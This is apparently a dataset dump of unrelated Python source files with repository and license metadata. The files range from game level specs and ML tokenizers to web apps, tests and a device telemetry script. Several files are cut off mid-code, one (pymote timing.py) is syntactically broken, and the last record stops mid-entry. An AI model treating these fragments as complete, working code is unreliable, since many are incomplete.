from toontown.toonbase import TTLocalizer from toontown.coghq.SpecImports import * GlobalEntities = {1000: {'type': 'levelMgr', 'name': 'LevelMgr', 'comment': '', 'parentEntId': 0, 'cogLevel': 0, 'farPlaneDistance': 1500.0, 'modelFilename': 'phase_9/models/cogHQ/SelbotLeg...
28.859959
76
0.42125
2dd6f98ec2ba27b3e329aedd39c040632b701779
3,724
py
Python
contrib/macdeploy/custom_dsstore.py
minblock/Scoutcoin
532aebe3597dbffe4ea7cc3e70d6cbde542614d3
[ "MIT" ]
null
null
null
contrib/macdeploy/custom_dsstore.py
minblock/Scoutcoin
532aebe3597dbffe4ea7cc3e70d6cbde542614d3
[ "MIT" ]
null
null
null
contrib/macdeploy/custom_dsstore.py
minblock/Scoutcoin
532aebe3597dbffe4ea7cc3e70d6cbde542614d3
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # Copyright (c) 2013-2018 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. import biplist from ds_store import DSStore from mac_alias import Alias import sys output_file = sys.argv...
62.066667
1,817
0.725295
38f876b968d12fab931644a1e8fd2180afcfac7a
7,674
py
Python
tests/plugins/test_resolve_module_compose.py
sosiouxme/atomic-reactor
91414bb8ffd988321cfa7120167636757e265a39
[ "BSD-3-Clause" ]
null
null
null
tests/plugins/test_resolve_module_compose.py
sosiouxme/atomic-reactor
91414bb8ffd988321cfa7120167636757e265a39
[ "BSD-3-Clause" ]
1
2018-04-25T12:42:14.000Z
2018-04-29T20:31:00.000Z
tests/plugins/test_resolve_module_compose.py
sosiouxme/atomic-reactor
91414bb8ffd988321cfa7120167636757e265a39
[ "BSD-3-Clause" ]
null
null
null
""" Copyright (c) 2017 Red Hat, Inc All rights reserved. This software may be modified and distributed under the terms of the BSD license. See the LICENSE file for details. """ from flexmock import flexmock import json import responses import os import pytest import six from six.moves.urllib.parse import urlparse, p...
33.077586
99
0.642429
8ecec6dffe0bb68a4d15f137ec97724ce30a5546
12,720
py
Python
src/transformers/models/xlm_roberta/tokenization_xlm_roberta.py
reichang182/Transformer
301536b15f1e757c51411800c25876617e9f1191
[ "Apache-2.0" ]
2
2021-09-20T05:44:21.000Z
2022-01-25T08:13:44.000Z
src/transformers/models/xlm_roberta/tokenization_xlm_roberta.py
slavetothebiologicalforce/transformers
6f90c29eaaba898919b7689ab7e2cfce1604cdb8
[ "Apache-2.0" ]
null
null
null
src/transformers/models/xlm_roberta/tokenization_xlm_roberta.py
slavetothebiologicalforce/transformers
6f90c29eaaba898919b7689ab7e2cfce1604cdb8
[ "Apache-2.0" ]
1
2021-04-19T20:49:55.000Z
2021-04-19T20:49:55.000Z
# coding=utf-8 # Copyright 2018 Google AI, Google Brain and Carnegie Mellon University Authors and the HuggingFace Inc. team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://ww...
44.475524
161
0.63805
05b6b40a64f37527230680d88e3710111fe0878c
1,128
py
Python
pytype/tests/py3/test_namedtuple.py
ashwinprasadme/pytype
fed209c73aacfcab15efc33deef3b4016a67cfe5
[ "Apache-2.0" ]
1
2020-04-20T02:55:21.000Z
2020-04-20T02:55:21.000Z
pytype/tests/py3/test_namedtuple.py
ashwinprasadme/pytype
fed209c73aacfcab15efc33deef3b4016a67cfe5
[ "Apache-2.0" ]
null
null
null
pytype/tests/py3/test_namedtuple.py
ashwinprasadme/pytype
fed209c73aacfcab15efc33deef3b4016a67cfe5
[ "Apache-2.0" ]
null
null
null
"""Tests for the namedtuple implementation in collections_overlay.py.""" from pytype.tests import test_base class NamedtupleTests(test_base.TargetPython3BasicTest): """Tests for collections.namedtuple.""" def test_namedtuple_match(self): self.Check(""" import collections from typing import A...
30.486486
76
0.663121
8f3069ed34dd570ec662b2f717557f3de24633a0
528
py
Python
levels/code/main.py
langulski/Pygame-TransilvanianHunger
0fd89d73d5f48891cbea84da76eec83025f4e52e
[ "MIT" ]
null
null
null
levels/code/main.py
langulski/Pygame-TransilvanianHunger
0fd89d73d5f48891cbea84da76eec83025f4e52e
[ "MIT" ]
null
null
null
levels/code/main.py
langulski/Pygame-TransilvanianHunger
0fd89d73d5f48891cbea84da76eec83025f4e52e
[ "MIT" ]
null
null
null
import pygame as pg import sys from settings import * from level import Level from gamedata import level_0 pg.init() display = pg.Surface((400, 200)) WINDOW_SIZE = (screen_width,screen_height) screen = pg.display.set_mode((screen_width,screen_height),0,32) clock = pg.time.Clock() level = Level(level_0,screen) whi...
17.032258
63
0.63447
77dbfbf55390c3aae1fce5311d5875b5c55a2761
3,107
py
Python
neural_testbed/likelihood/utils.py
deepmind/neural_testbed
5b18d74473403fd5dc28c2570a1641b24e9d0a28
[ "Apache-2.0" ]
67
2021-10-04T09:29:12.000Z
2022-03-25T11:10:15.000Z
neural_testbed/likelihood/utils.py
deepmind/neural_testbed
5b18d74473403fd5dc28c2570a1641b24e9d0a28
[ "Apache-2.0" ]
2
2021-11-03T10:48:02.000Z
2021-11-05T11:04:58.000Z
neural_testbed/likelihood/utils.py
deepmind/neural_testbed
5b18d74473403fd5dc28c2570a1641b24e9d0a28
[ "Apache-2.0" ]
4
2021-10-12T23:57:39.000Z
2022-03-23T04:02:25.000Z
# pylint: disable=g-bad-file-header # Copyright 2021 DeepMind Technologies Limited. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/...
39.329114
80
0.714837
b4b47466e1ad3517da34d507501627d2f39ad0ee
3,798
py
Python
data-science-not/assignments/ass2/mrp_solution.py
nurseiit/comm-unist
e7a122c910bf12eddf5c0ffc2c666995b4989408
[ "MIT" ]
4
2019-07-03T00:57:01.000Z
2020-12-11T23:06:11.000Z
data-science-not/assignments/ass2/mrp_solution.py
nurseiit/comm-unist
e7a122c910bf12eddf5c0ffc2c666995b4989408
[ "MIT" ]
1
2019-10-19T17:42:42.000Z
2019-10-19T17:42:42.000Z
data-science-not/assignments/ass2/mrp_solution.py
nurseiit/comm-unist
e7a122c910bf12eddf5c0ffc2c666995b4989408
[ "MIT" ]
1
2019-11-05T04:14:08.000Z
2019-11-05T04:14:08.000Z
Group = { "GROUP_NAME": "Spaghetti", "GROUP_MEMBER_1": "20182022, Yerkebulan Pansat", "GROUP_MEMBER_2": "20172001, Nurseiit Abdimomyn" } import os class Solution: def __init__(self): self._orders = [] self._bikes = {} self._subs = {} self._parts = {} self._read...
27.323741
88
0.479726
0ddaed912eab06d1f75f1dd214e6abd1ccf4c255
5,420
py
Python
app/dashboard/views/index.py
Metabaron1/app
62299828009d4285930c9cb42bbc86daf86fdf5a
[ "MIT" ]
1
2021-10-04T10:25:33.000Z
2021-10-04T10:25:33.000Z
app/dashboard/views/index.py
Cartache/app
62299828009d4285930c9cb42bbc86daf86fdf5a
[ "MIT" ]
null
null
null
app/dashboard/views/index.py
Cartache/app
62299828009d4285930c9cb42bbc86daf86fdf5a
[ "MIT" ]
2
2021-10-04T10:24:48.000Z
2022-03-17T23:25:34.000Z
from dataclasses import dataclass from flask import render_template, request, redirect, url_for, flash from flask_login import login_required, current_user from sqlalchemy.orm import joinedload from app import alias_utils from app.api.serializer import get_alias_infos_with_pagination_v3 from app.config import PAGE_LI...
32.071006
88
0.601107
0cae2cf9fdef7a6074a286f366ee67d1c3e2baa3
14,283
py
Python
ext/opentelemetry-ext-grpc/src/opentelemetry/ext/grpc/grpcext/_interceptor.py
gky360/opentelemetry-python
915643cc57b65b57caefa9fcda854731b2d430e7
[ "Apache-2.0" ]
null
null
null
ext/opentelemetry-ext-grpc/src/opentelemetry/ext/grpc/grpcext/_interceptor.py
gky360/opentelemetry-python
915643cc57b65b57caefa9fcda854731b2d430e7
[ "Apache-2.0" ]
null
null
null
ext/opentelemetry-ext-grpc/src/opentelemetry/ext/grpc/grpcext/_interceptor.py
gky360/opentelemetry-python
915643cc57b65b57caefa9fcda854731b2d430e7
[ "Apache-2.0" ]
null
null
null
# Copyright The OpenTelemetry Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in ...
33.686321
79
0.664146
743e01c8d18eeac4174b0e8ed5e5e62ff738ffc5
2,246
py
Python
delta.py
cau-kiel-ai/py-cluster-tracking
c6fa4af22168b36c283be22163a4c921d84c6e10
[ "Apache-2.0" ]
null
null
null
delta.py
cau-kiel-ai/py-cluster-tracking
c6fa4af22168b36c283be22163a4c921d84c6e10
[ "Apache-2.0" ]
null
null
null
delta.py
cau-kiel-ai/py-cluster-tracking
c6fa4af22168b36c283be22163a4c921d84c6e10
[ "Apache-2.0" ]
null
null
null
""" This script evaluates the implemented tracking algorithms against a single data set. Both accuracy and execution times are measured and saved to `results.csv`. """ import logging from datetime import timedelta from timeit import default_timer as timer import numpy as np import pandas as pd import xarray as xr fro...
35.650794
110
0.648709
777a56bcdb5a665766f396be831fbfd1e21f2266
5,464
py
Python
Ch9/TSP.py
jason-168/MLCode
429c17e004fb41ba16c371416c8f73833ab8fc1d
[ "Xnet", "X11" ]
146
2016-05-24T02:55:53.000Z
2022-03-23T14:54:42.000Z
Ch9/TSP.py
coky/MarslandMLAlgo
4277b24db88c4cb70d6b249921c5d21bc8f86eb4
[ "Xnet", "X11" ]
1
2017-08-17T23:07:39.000Z
2017-08-18T08:27:19.000Z
Ch9/TSP.py
coky/MarslandMLAlgo
4277b24db88c4cb70d6b249921c5d21bc8f86eb4
[ "Xnet", "X11" ]
94
2016-05-06T12:34:33.000Z
2022-03-30T03:31:04.000Z
# Code from Chapter 9 of Machine Learning: An Algorithmic Perspective (2nd Edition) # by Stephen Marsland (http://stephenmonika.net) # You are free to use, change, or redistribute the code in any way you wish for # non-commercial purposes, but please maintain the name of the original author. # This code comes with no...
28.164948
123
0.735176
68ec2fad69f60544adec0b99b6fea4d5fa5e41e6
36
py
Python
Chapter05/gen_comprehension.py
PacktPublishing/Secret-Recipes-of-the-Python-Ninja
805d00c7a54927ba94c9077e9a580508ee3c5e56
[ "MIT" ]
13
2018-06-21T01:44:49.000Z
2021-12-01T10:49:53.000Z
Chapter05/gen_comprehension.py
PacktPublishing/Secret-Recipes-of-the-Python-Ninja
805d00c7a54927ba94c9077e9a580508ee3c5e56
[ "MIT" ]
null
null
null
Chapter05/gen_comprehension.py
PacktPublishing/Secret-Recipes-of-the-Python-Ninja
805d00c7a54927ba94c9077e9a580508ee3c5e56
[ "MIT" ]
6
2018-10-05T08:29:24.000Z
2022-01-11T14:49:50.000Z
g = (x for x in foo if x % 2 == 0)
12
34
0.444444
e60b1ed28cf66f0a4c09d629c51858e3cb4707af
38,346
py
Python
python/pyrogue/_Root.py
slacrherbst/rogue
151b122de81d5c934145053502314d1dc3b2ffa7
[ "BSD-3-Clause-LBNL" ]
null
null
null
python/pyrogue/_Root.py
slacrherbst/rogue
151b122de81d5c934145053502314d1dc3b2ffa7
[ "BSD-3-Clause-LBNL" ]
null
null
null
python/pyrogue/_Root.py
slacrherbst/rogue
151b122de81d5c934145053502314d1dc3b2ffa7
[ "BSD-3-Clause-LBNL" ]
null
null
null
#----------------------------------------------------------------------------- # Title : PyRogue base module - Root Class #----------------------------------------------------------------------------- # This file is part of the rogue software platform. It is subject to # the license terms in the LICENSE.txt file f...
39.168539
182
0.506285
ad9900d52601136513ef102257e368428c3a637c
4,969
py
Python
python/cuml/preprocessing/model_selection.py
taureandyernv/cuml
c92b594d3bda342c64d88a9c44b5d6e507b13f6c
[ "Apache-2.0" ]
3
2019-10-17T21:46:07.000Z
2019-10-22T20:13:55.000Z
python/cuml/preprocessing/model_selection.py
taureandyernv/cuml
c92b594d3bda342c64d88a9c44b5d6e507b13f6c
[ "Apache-2.0" ]
null
null
null
python/cuml/preprocessing/model_selection.py
taureandyernv/cuml
c92b594d3bda342c64d88a9c44b5d6e507b13f6c
[ "Apache-2.0" ]
null
null
null
# Copyright (c) 2019, NVIDIA CORPORATION. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
33.126667
76
0.612598
13cd9b7ba44379bb76e4410fc76fe78faa429156
11,887
py
Python
tensorflow/python/ops/special_math_ops_test.py
DEVESHTARASIA/tensorflow
d3edb8c60ed4fd831d62833ed22f5c23486c561c
[ "Apache-2.0" ]
384
2017-02-21T18:38:04.000Z
2022-02-22T07:30:25.000Z
tensorflow/python/ops/special_math_ops_test.py
DEVESHTARASIA/tensorflow
d3edb8c60ed4fd831d62833ed22f5c23486c561c
[ "Apache-2.0" ]
15
2017-03-01T20:18:43.000Z
2020-05-07T10:33:51.000Z
tensorflow/python/ops/special_math_ops_test.py
DEVESHTARASIA/tensorflow
d3edb8c60ed4fd831d62833ed22f5c23486c561c
[ "Apache-2.0" ]
81
2017-02-21T19:31:19.000Z
2022-02-22T07:30:24.000Z
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
33.769886
80
0.621603
671b43fce3be9515c8dbf4626a1248de7f179254
5,733
py
Python
aiozipkin/transport.py
shadchin/aiozipkin
e234ef23029f803eb33663c9c6a195333b9c9ffe
[ "Apache-2.0" ]
175
2017-10-02T06:46:26.000Z
2022-03-08T11:43:11.000Z
aiozipkin/transport.py
shadchin/aiozipkin
e234ef23029f803eb33663c9c6a195333b9c9ffe
[ "Apache-2.0" ]
336
2017-10-02T19:51:57.000Z
2022-01-17T18:06:57.000Z
aiozipkin/transport.py
shadchin/aiozipkin
e234ef23029f803eb33663c9c6a195333b9c9ffe
[ "Apache-2.0" ]
31
2017-11-05T13:23:48.000Z
2021-12-27T09:23:25.000Z
import abc import asyncio import warnings from collections import deque from typing import Any, Awaitable, Callable, Deque, Dict, List, Optional, Tuple import aiohttp from aiohttp.client_exceptions import ClientError from yarl import URL from .log import logger from .mypy_types import OptLoop from .record import Reco...
31.327869
79
0.604396
daaca4c0bf8009b816b1bf937021fa547e50750e
616
py
Python
openslides_backend/action/actions/user/delete.py
OpenSlides/openslides-backend
57f58a4ca0e5ca113ff104efa9db3e2c66e3aeab
[ "MIT" ]
5
2020-01-20T13:57:15.000Z
2021-03-27T14:14:44.000Z
openslides_backend/action/actions/user/delete.py
OpenSlides/openslides-backend
57f58a4ca0e5ca113ff104efa9db3e2c66e3aeab
[ "MIT" ]
859
2020-01-11T22:58:37.000Z
2022-03-30T14:54:06.000Z
openslides_backend/action/actions/user/delete.py
OpenSlides/openslides-backend
57f58a4ca0e5ca113ff104efa9db3e2c66e3aeab
[ "MIT" ]
16
2020-01-04T20:28:57.000Z
2022-02-10T12:06:54.000Z
from typing import Any, Dict from ....models.models import User from ...generics.delete import DeleteAction from ...util.default_schema import DefaultSchema from ...util.register import register_action from .user_scope_permission_check_mixin import UserScopePermissionCheckMixin @register_action("user.delete") class ...
29.333333
76
0.761364
002dd8d9958da3c44a58606adbda8ddd1f9f8749
392
py
Python
10.Testing/Exercises/01. Mammal_Skeleton/mammal/project/mammal.py
milenmihaylov/Python-OOP
ae3523ffd658cffa658ea3b52a0314c933e45282
[ "MIT" ]
null
null
null
10.Testing/Exercises/01. Mammal_Skeleton/mammal/project/mammal.py
milenmihaylov/Python-OOP
ae3523ffd658cffa658ea3b52a0314c933e45282
[ "MIT" ]
null
null
null
10.Testing/Exercises/01. Mammal_Skeleton/mammal/project/mammal.py
milenmihaylov/Python-OOP
ae3523ffd658cffa658ea3b52a0314c933e45282
[ "MIT" ]
null
null
null
class Mammal: def __init__(self, name, mammal_type, sound): self.name = name self.type = mammal_type self.sound = sound self.__kingdom = "animals" def make_sound(self): return f"{self.name} makes {self.sound}" def get_kingdom(self): return self.__kingdom ...
23.058824
52
0.602041
e5e8b5b89b76b9cea4c9305c98bc16bdb2cd4512
62
py
Python
katas/kyu_7/count_the_ones.py
the-zebulan/CodeWars
1eafd1247d60955a5dfb63e4882e8ce86019f43a
[ "MIT" ]
40
2016-03-09T12:26:20.000Z
2022-03-23T08:44:51.000Z
katas/kyu_7/count_the_ones.py
akalynych/CodeWars
1eafd1247d60955a5dfb63e4882e8ce86019f43a
[ "MIT" ]
null
null
null
katas/kyu_7/count_the_ones.py
akalynych/CodeWars
1eafd1247d60955a5dfb63e4882e8ce86019f43a
[ "MIT" ]
36
2016-11-07T19:59:58.000Z
2022-03-31T11:18:27.000Z
def hamming_weight(x): return '{:b}'.format(x).count('1')
20.666667
38
0.612903
989c2aaebe12274c029a07b883dcd61bdb595e24
382
py
Python
sgas/ext/python/__init__.py
kmjonsson/luts3-service
41afaf02cf58c7f4a9ad50011a558d2b21a7bb29
[ "Apache-2.0" ]
null
null
null
sgas/ext/python/__init__.py
kmjonsson/luts3-service
41afaf02cf58c7f4a9ad50011a558d2b21a7bb29
[ "Apache-2.0" ]
14
2015-03-10T13:18:28.000Z
2020-10-30T08:03:34.000Z
sgas/ext/python/__init__.py
kmjonsson/luts3-service
41afaf02cf58c7f4a9ad50011a558d2b21a7bb29
[ "Apache-2.0" ]
4
2016-04-01T11:43:11.000Z
2018-01-23T10:31:36.000Z
# OrderedDict depends on the _abcall module, which is only # available as of Python 2.6 try: from sgas.ext.python.collections import OrderedDict as ConfigDict except ImportError: ConfigDict = dict # json module is only available from Python 2.6 # if we can't import it, try to import simplejson try: im...
18.190476
69
0.746073
2dad92e250b49eb5ae867d5d60ed05da18765816
689
py
Python
chatterbot/app.py
madcore-ai/containers
7cd907278abf6928470cc3c72b702706075f2fc0
[ "MIT" ]
null
null
null
chatterbot/app.py
madcore-ai/containers
7cd907278abf6928470cc3c72b702706075f2fc0
[ "MIT" ]
5
2016-12-16T16:22:23.000Z
2021-12-13T19:47:13.000Z
chatterbot/app.py
madcore-ai/containers
7cd907278abf6928470cc3c72b702706075f2fc0
[ "MIT" ]
1
2017-05-08T15:22:04.000Z
2017-05-08T15:22:04.000Z
from flask import Flask, render_template, request from chatterbot import ChatBot from chatterbot.trainers import ChatterBotCorpusTrainer app = Flask(__name__) english_bot = ChatBot("English Bot",silence_performance_warning=True) english_bot.set_trainer(ChatterBotCorpusTrainer) english_bot.train("chatterbot.corpus.eng...
25.518519
69
0.756168
3e6421f8d73e8aff57635d6432842a59cfedd550
4,698
py
Python
tests/api/test_initial_data.py
hayesgb/mlrun
9a8b469b37d7d74f2d04dc956b2966f88fe4e890
[ "Apache-2.0" ]
null
null
null
tests/api/test_initial_data.py
hayesgb/mlrun
9a8b469b37d7d74f2d04dc956b2966f88fe4e890
[ "Apache-2.0" ]
null
null
null
tests/api/test_initial_data.py
hayesgb/mlrun
9a8b469b37d7d74f2d04dc956b2966f88fe4e890
[ "Apache-2.0" ]
null
null
null
import typing import unittest.mock import pytest import sqlalchemy.exc import sqlalchemy.orm import mlrun import mlrun.api.db.init_db import mlrun.api.db.sqldb.db import mlrun.api.db.sqldb.session import mlrun.api.initial_data import mlrun.api.schemas import mlrun.api.utils.singletons.db def test_add_data_version_e...
37.285714
116
0.766284
0ca12bd0f52365863f39858a5bd5d84a986b03ce
567
py
Python
modules/videoDisplay/videoDisplayWorker.py
krishna-kalavadia/computer-vision-python
6b37aaa433153f82412d865cef8fce81ce8422c7
[ "BSD-3-Clause" ]
null
null
null
modules/videoDisplay/videoDisplayWorker.py
krishna-kalavadia/computer-vision-python
6b37aaa433153f82412d865cef8fce81ce8422c7
[ "BSD-3-Clause" ]
null
null
null
modules/videoDisplay/videoDisplayWorker.py
krishna-kalavadia/computer-vision-python
6b37aaa433153f82412d865cef8fce81ce8422c7
[ "BSD-3-Clause" ]
null
null
null
# libraries import cv2 import logging def videoDisplayWorker(pause, exitRequest, pipelineIn): logger = logging.getLogger() logger.debug("videoDisplay: Started video display") while True: if not exitRequest.empty(): cv2.destroyAllWindows() break pause.acquire() pause.release() curr...
19.551724
55
0.677249
2cb2d6aa5980916634483dcb4656407d8bd82df3
2,434
py
Python
guided_diffusion/bratsloader.py
lukaszbinden/Diffusion-based-Segmentation
43a475e53320adac82838f87ff7fd71f78d8d004
[ "Apache-2.0" ]
5
2022-01-09T02:56:26.000Z
2022-03-30T07:46:54.000Z
guided_diffusion/bratsloader.py
lukaszbinden/Diffusion-based-Segmentation
43a475e53320adac82838f87ff7fd71f78d8d004
[ "Apache-2.0" ]
1
2021-12-24T01:59:45.000Z
2021-12-28T20:42:13.000Z
guided_diffusion/bratsloader.py
lukaszbinden/Diffusion-based-Segmentation
43a475e53320adac82838f87ff7fd71f78d8d004
[ "Apache-2.0" ]
2
2022-01-26T11:32:32.000Z
2022-02-19T16:45:37.000Z
import torch import torch.nn import numpy as np import os import os.path import nibabel class BRATSDataset(torch.utils.data.Dataset): def __init__(self, directory, test_flag=True): ''' directory is expected to contain some folder structure: if some subfolder contains only files, ...
35.794118
89
0.532868
ee58224005c42c3439d3e7f9d23258ce36b4ab2b
17,805
py
Python
pweby/utils.py
syfun/pyserver
b26d3f2a016bceee690136bbea51c859e10074e4
[ "Apache-2.0" ]
null
null
null
pweby/utils.py
syfun/pyserver
b26d3f2a016bceee690136bbea51c859e10074e4
[ "Apache-2.0" ]
null
null
null
pweby/utils.py
syfun/pyserver
b26d3f2a016bceee690136bbea51c859e10074e4
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # coding=utf8 # Copyright 2015 Syfun # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by ...
32.490876
79
0.6123
abc928865f0f3d20d18534058246e2a1737983cb
1,052
py
Python
airflow/hooks/__init__.py
dtardoin/airflow
4d7f413c7db3ffdb1236e7799e4fe647842e5dbd
[ "Apache-2.0" ]
1
2021-03-02T20:08:53.000Z
2021-03-02T20:08:53.000Z
airflow/hooks/__init__.py
dtardoin/airflow
4d7f413c7db3ffdb1236e7799e4fe647842e5dbd
[ "Apache-2.0" ]
null
null
null
airflow/hooks/__init__.py
dtardoin/airflow
4d7f413c7db3ffdb1236e7799e4fe647842e5dbd
[ "Apache-2.0" ]
1
2019-05-14T16:19:12.000Z
2019-05-14T16:19:12.000Z
# Imports the hooks dynamically while keeping the package API clean, # abstracting the underlying modules from airflow.utils import import_module_attrs as _import_module_attrs from airflow.hooks.base_hook import BaseHook as _BaseHook _hooks = { 'hive_hooks': [ 'HiveCliHook', 'HiveMetastoreHook', ...
30.057143
69
0.668251
01a17b4b5741ca772e1a0fcd8bb9f79acb42faa3
11,920
py
Python
tests/attr/test_occlusion.py
min-tang-hash/captum
1168bc5f57f38d169a02a97553edbdf192be0134
[ "BSD-3-Clause" ]
1
2019-11-10T06:51:11.000Z
2019-11-10T06:51:11.000Z
tests/attr/test_occlusion.py
min-tang-hash/captum
1168bc5f57f38d169a02a97553edbdf192be0134
[ "BSD-3-Clause" ]
null
null
null
tests/attr/test_occlusion.py
min-tang-hash/captum
1168bc5f57f38d169a02a97553edbdf192be0134
[ "BSD-3-Clause" ]
3
2020-05-27T18:26:11.000Z
2020-10-15T10:52:24.000Z
#!/usr/bin/env python3 import io import unittest import unittest.mock from typing import Any, Callable, List, Tuple, Union import torch from torch import Tensor from captum._utils.typing import BaselineType, TargetType, TensorOrTupleOfTensorsGeneric from captum.attr._core.occlusion import Occlusion from tests.helpers...
35.47619
88
0.511577
6034e77f8662f6a8533bd7a21b184f85d85f31f2
3,690
py
Python
ecnet/blends/equations.py
ECRL/ECNet
85bd81862e705440bd8dc5fa843465bfd4101048
[ "MIT" ]
5
2020-05-13T02:03:11.000Z
2021-02-05T19:01:48.000Z
ecnet/blends/equations.py
TJKessler/ECNet
e7fe3e1674a3dd66f46f61337374ca8778031e34
[ "MIT" ]
5
2017-09-12T07:17:29.000Z
2017-09-13T21:00:50.000Z
ecnet/blends/equations.py
TJKessler/ECNet
e7fe3e1674a3dd66f46f61337374ca8778031e34
[ "MIT" ]
2
2017-09-13T20:57:55.000Z
2017-09-21T01:05:25.000Z
r"""Helper equations for functions in .predict.py""" from typing import List from math import sqrt def celsius_to_rankine(temp: float) -> float: """ Converts temperature in celsius to temperature in rankine Args: temp (float): supplied temperature, in celsius Returns: float: temperat...
30.245902
95
0.634959
100c3c191c81cceb52cd9095ddab1dda970d8127
74
py
Python
pymote2.1/pymote/timing.py
chinmaydd/RouteSense
a2088d0151be7c76d269d2c5466750423fbe9e02
[ "MIT" ]
null
null
null
pymote2.1/pymote/timing.py
chinmaydd/RouteSense
a2088d0151be7c76d269d2c5466750423fbe9e02
[ "MIT" ]
null
null
null
pymote2.1/pymote/timing.py
chinmaydd/RouteSense
a2088d0151be7c76d269d2c5466750423fbe9e02
[ "MIT" ]
null
null
null
class TimingModel(object): def __init__(self, node): # do_something
18.5
27
0.716216
a776748f2eaeaae549b3edc2c2f8decf451a1ac5
67,019
py
Python
sdk/compute/azure-mgmt-compute/azure/mgmt/compute/v2017_03_30/operations/_virtual_machine_scale_set_vms_operations.py
dubiety/azure-sdk-for-python
62ffa839f5d753594cf0fe63668f454a9d87a346
[ "MIT" ]
1
2022-02-01T18:50:12.000Z
2022-02-01T18:50:12.000Z
sdk/compute/azure-mgmt-compute/azure/mgmt/compute/v2017_03_30/operations/_virtual_machine_scale_set_vms_operations.py
ellhe-blaster/azure-sdk-for-python
82193ba5e81cc5e5e5a5239bba58abe62e86f469
[ "MIT" ]
null
null
null
sdk/compute/azure-mgmt-compute/azure/mgmt/compute/v2017_03_30/operations/_virtual_machine_scale_set_vms_operations.py
ellhe-blaster/azure-sdk-for-python
82193ba5e81cc5e5e5a5239bba58abe62e86f469
[ "MIT" ]
null
null
null
# pylint: disable=too-many-lines # coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRe...
44.178642
251
0.672183
d1a67eb237c9d912a8f77d352bb398add895ed8f
361,330
py
Python
module_scene_props.py
SmartPhoenix/Persistent-Kingdoms
772574471279825b43788c87df4eab44444912a3
[ "Unlicense" ]
3
2018-04-13T15:45:21.000Z
2018-12-16T16:50:37.000Z
module_scene_props.py
SmartPhoenix/Persistent-Kingdoms
772574471279825b43788c87df4eab44444912a3
[ "Unlicense" ]
249
2018-03-26T14:04:11.000Z
2020-04-13T22:32:36.000Z
module_scene_props.py
SmartPhoenix/Persistent-Kingdoms
772574471279825b43788c87df4eab44444912a3
[ "Unlicense" ]
11
2018-04-10T15:56:01.000Z
2019-12-10T21:39:32.000Z
from header_common import * from header_scene_props import * from header_operations import * from header_triggers import * from header_sounds import * from module_constants import * import header_debug as dbg import header_lazy_evaluation as lazy from header_troops import * ##################################...
87.10945
308
0.749274
19748c17c0bcc2486c9ee590f7b8bcd542dbed63
1,490
py
Python
fixture/session.py
ngalkina86/python_training-1
4908bcf553eca840bd7fa09711cd8f20d8ad4ea1
[ "Apache-2.0" ]
null
null
null
fixture/session.py
ngalkina86/python_training-1
4908bcf553eca840bd7fa09711cd8f20d8ad4ea1
[ "Apache-2.0" ]
null
null
null
fixture/session.py
ngalkina86/python_training-1
4908bcf553eca840bd7fa09711cd8f20d8ad4ea1
[ "Apache-2.0" ]
null
null
null
class SessionHelper: def __init__(self, app): self.app = app def logout(self): wd = self.app.wd wd.find_element_by_link_text("Logout").click() def login(self, username, password): wd = self.app.wd # self.app.open_home_page() wd.find_elem...
32.391304
82
0.56443
a73418124b32c753beaa887f9e804e22bab53498
2,340
py
Python
examples/create-account/app.py
TheNcar/starlette-wtf
f96ab6f33a7ffcb576663f996dbb401ab44f3d78
[ "MIT" ]
48
2020-02-03T14:16:34.000Z
2022-02-24T08:27:06.000Z
examples/create-account/app.py
TheNcar/starlette-wtf
f96ab6f33a7ffcb576663f996dbb401ab44f3d78
[ "MIT" ]
10
2020-04-20T21:20:02.000Z
2022-01-29T16:58:44.000Z
examples/create-account/app.py
TheNcar/starlette-wtf
f96ab6f33a7ffcb576663f996dbb401ab44f3d78
[ "MIT" ]
5
2020-04-23T12:39:32.000Z
2022-03-20T08:14:19.000Z
from starlette.applications import Starlette from starlette.middleware import Middleware from starlette.middleware.sessions import SessionMiddleware from starlette.responses import RedirectResponse from starlette.templating import Jinja2Templates from starlette_wtf import StarletteForm, CSRFProtectMiddleware, csrf_prot...
30.38961
76
0.670513
699c88569a314a767016a47c082a334cd2478335
4,921
py
Python
scripts/phonehome.py
ConnectBox/biblebox-pi
9282ce5ee6e210f100380f109db2b80c56254977
[ "MIT" ]
null
null
null
scripts/phonehome.py
ConnectBox/biblebox-pi
9282ce5ee6e210f100380f109db2b80c56254977
[ "MIT" ]
null
null
null
scripts/phonehome.py
ConnectBox/biblebox-pi
9282ce5ee6e210f100380f109db2b80c56254977
[ "MIT" ]
null
null
null
# Allows ConnectBox to send status and receive updates from Chathost APIs print ("phonehome: Starting...") import requests import json import subprocess import uuid import os # Retrieve brand.txt f = open('/usr/local/connectbox/brand.txt',) brand = json.load(f) print (brand) # Sanity Checks error = 0 if len(brand...
32.589404
115
0.690713
778d8ca43336b1a3590ac8de38ecd254d2c37c8c
6,782
py
Python
astropy/stats/lombscargle/tests/test_statistics.py
jbkalmbach/astropy
88ae8c615533efd1e60de4aded204943f66f881c
[ "BSD-3-Clause" ]
null
null
null
astropy/stats/lombscargle/tests/test_statistics.py
jbkalmbach/astropy
88ae8c615533efd1e60de4aded204943f66f881c
[ "BSD-3-Clause" ]
1
2017-09-22T21:10:10.000Z
